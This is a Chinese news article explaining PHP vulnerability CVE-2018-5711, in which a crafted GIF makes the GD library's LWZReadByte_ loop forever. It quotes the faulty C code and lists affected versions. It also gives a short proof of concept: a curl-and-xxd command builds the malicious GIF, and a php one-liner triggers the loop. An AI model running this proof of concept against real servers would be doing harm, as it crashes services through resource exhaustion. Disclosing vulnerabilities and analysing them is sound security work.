当前位置: 首页 > 科技观察

PHP漏洞-一个用一张GIF图片就能导致服务器宕机的PHP漏洞

时间:2023-03-18 22:54:29 科技观察

近日,台湾Web漏洞挖掘者OrangeTsai在对部分Web开发框架和程序实现模块进行安全审计时,发现了一些有趣的漏洞。比如这个PHPCVE-2018-5711,它可以导致服务器崩溃甚至GIF图片宕机,在现实中很容易被利用。在此,橙仔简单介绍一下该漏洞。受该漏洞影响的PHP版本包括以下PHP系列及所有其他PHP版本PHP5<5.6.33PHP7.0<7.0.27PHP7.1<7.1.13PHP7.2<7.2.1漏洞详情该漏洞存在于文件ext/gd/libgd/gdgifin.c,其中LWZReadByte_函数中有一个while循环:do{sd->firstcode=sd->oldcode=GetCode(fd,&sd->scd,sd->code_size,FALSE,ZeroDataBlockP);}while(sd->firstcode==sd->clear_code);GetCode函数只是一个包装类,而GetCode_是真正的可执行文件:staticintGetCode_(gdIOCtx*fd,CODE_STATIC_DATA*scd,intcode_size,intflag,int*ZeroDataBlockP){inti,j,ret;unsignedcharcount;...if((count=GetDataBlock(fd,&scd->buf[2],ZeroDataBlockP))<=0)scd->done=TRUE;...}GetCode_会调用GetDataBlock读取GIF图片中的数据:staticintGetDataBlock_(gdIOCtx*fd,unsignedchar*buf,int*ZeroDataBlockP){unsignedcharcount;if(!ReadOK(fd,&count,1)){return-1;}*ZeroDataBlockP=count==0;if((count!=0)&&(!ReadOK(fd,buf,count))){return-1;}returncount;}以上就是涉及到的漏洞代码,大家有没有发现什么端倪呢?该漏洞依赖于从整数(int)到无符号字符(unsignedchar)的类型转换。如上:如果GetDataBlock_返回-1,第400行的scd->done将被设置为True,while循环将停止。但是定义的count是一个无符号字符,总是0到255之间的正数,所以不会触发这个循环停止动作。因此,最终的结果就是一张GIF图片可以实现无限循环,导致服务器资源耗尽,直至崩溃。PoC$curl-Lhttps://git.io/vN0n4|xxd-r>poc.gif$php-r'imagecreatefromgif("poc.gif");'无限循环...因为在真实网络中,很多服务器会使用GD图形扩展库会调整用户上传图片的大小,因此该漏洞具有很强的实际危害性。后记橘子仔将披露更多与该漏洞相关的0day及相关内容。漏洞参考:https://bugs.php.net/bug.php?id=75571http://php.net/ChangeLog-7.phphttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711